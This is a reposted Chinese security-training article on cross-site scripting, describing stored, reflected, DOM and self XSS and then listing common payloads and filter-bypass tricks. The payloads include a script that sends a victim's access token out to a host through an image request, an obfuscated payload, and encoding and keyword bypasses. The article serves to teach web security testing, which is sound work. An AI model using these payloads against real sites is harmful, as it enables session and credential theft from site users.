您当前的位置:首页 > 知乎文章

xss常用的一些payload

时间:2022-02-28 10:46:13  知乎原文链接  作者:网盾网络安全培训

l 一.xss的基本分类

1. 存储型xss

2. 反射型xss

3. Dom型xss

4. Self型xss

l 二.基本的xss分类说明:

1. 存储型xss:存储型xss经常出现与网站论坛,博客,个人网站的留言功能,聊天功能,后台的管理功能等可以被用户输入并且记录到数据库的功能模块中,参数在用户可控的情况下对其可输入并回显点进行交互式处理,此类型的xss危害性即大,可以一直长期存储在目标网站中,点击或者浏览都会被盗取凭证的cookie信息,可利用的扩展链接比较广泛,钓鱼,蠕虫,甚至可以编写可利用的exe木马进行远程控制等等

以下即为xmind2021beta版本的xss漏洞,可以利用nodejs的注入语句构造远程木马进行回连,xss->rce漏洞利用攻击案例

class="ztext-empty-paragraph">

2. 反射型xss:反射型xss和存储型xss不一样,存储型xss是与数据库进行交互式接触的,反射型xss是不需要存储在数据库的,存储型xss持久化是由于存储在了数据库,网站每次运行时都会从数据库中读取出这个xss的恶意payload,之后到页面上解析并触发,反射不一样,反射型xss经常出现在网站的搜索功能处,这一类的比较多,搜索的都是临时性的,以下面的演示为例:

class="ztext-empty-paragraph">

在网页链接或者在网站的搜索框中搜索指定内容并且内容会回显在页面上,查看源代码的位置可以查看到这个回显的内容

class="ztext-empty-paragraph">

回显的内容被标签或者属性所包裹的地方,最容易出现这一类的xss,存储型xss的挖掘也是类似,主要能够发现并可见的内容,根据内容回显的标签或者属性进行闭合之后再进行payload的插入

class="ztext-empty-paragraph">

以此为例,构造的内容或者标签会被插入到这个节点下面,这就说明此处是存在反射型xss的,反射型xss是临时性的,危害程度中等,但是在网站请求中会存在一个跨域的问题,origin头,现有的网站都会存在子站点或者旁站,同域请求和跨域请求是不一样的,同域请求指的是域名一样,端口,请求的协议也一样,三者如果有一个不符合就属于跨域请求,反射xss的利用经常会遇到这个问题,可以结合其他漏洞进行组合拳利用,比如csrf,get请求和post请求中都有可能会存在此类xss漏洞

class="ztext-empty-paragraph">

3. domxss:domxss的比较少见,也不能说没有,可遇到的场景比较少,此类xss是基于前端的,前面的两类xss都是与后端有所交互的,此类利用依靠于javascript代码,InnerHTML和InnerTEXT这两个属性是最容易出现xss的,InnerHTML会将HTML原封不动的解析出来,TEXT则是将输入的内容当作文本解析,如果不做任何的过滤或者关键字过滤,产生漏洞的几率比较大

4. selfxss:此类xss比较少见,危害程度低,此类xss的利用只能攻击者自己攻击自己,利用难度较大,没有实际性的危害,不过对于大厂或者大公司来说此类漏洞还是不允许存在的,比如说之前某q出现的这类xss,就是出现在收藏浏览时触发,但是这类涉及到云开发技术,代码是不存在于我们这边的,其中涉及到的技术链比较深入

class="ztext-empty-paragraph">

l 三.xss经常使用的一些payload

1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>

2.<img src=x onerror=alert(1)>

3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();

class="ztext-empty-paragraph">

class="ztext-empty-paragraph">

5. 一些奇形怪状的xss的payload

class="ztext-empty-paragraph">

6.<script>alert(document.cookie);</script>

7.<svg/onload=alert(1)>

8.<a href=”javascript:alert(1);”>test</a>

l 四,一些常用bypass的小技巧

在挖掘xss漏洞时,经常会遇到各类过滤手段,比如将<>进行html实体编码,单双引号过滤,空格过滤,关键字过滤等等

1. 编码绕过:

url编码绕过

unicode编码绕过

html实体编码绕过:实体编码绕过需要结合<svg></svg>标签使用,否则利用的失败率比较高

2. 换行绕过

使用%0A进行关键字绕过

3. 利用全局变量绕过

Self,window等等

c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};

4. 关键字绕过

Alert被过滤了可以使用下面的进行弹窗

<script>prompt(“1”);</script>

<script>confirm(1);</script>

上一篇      下一篇    删除文章    编辑文章
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门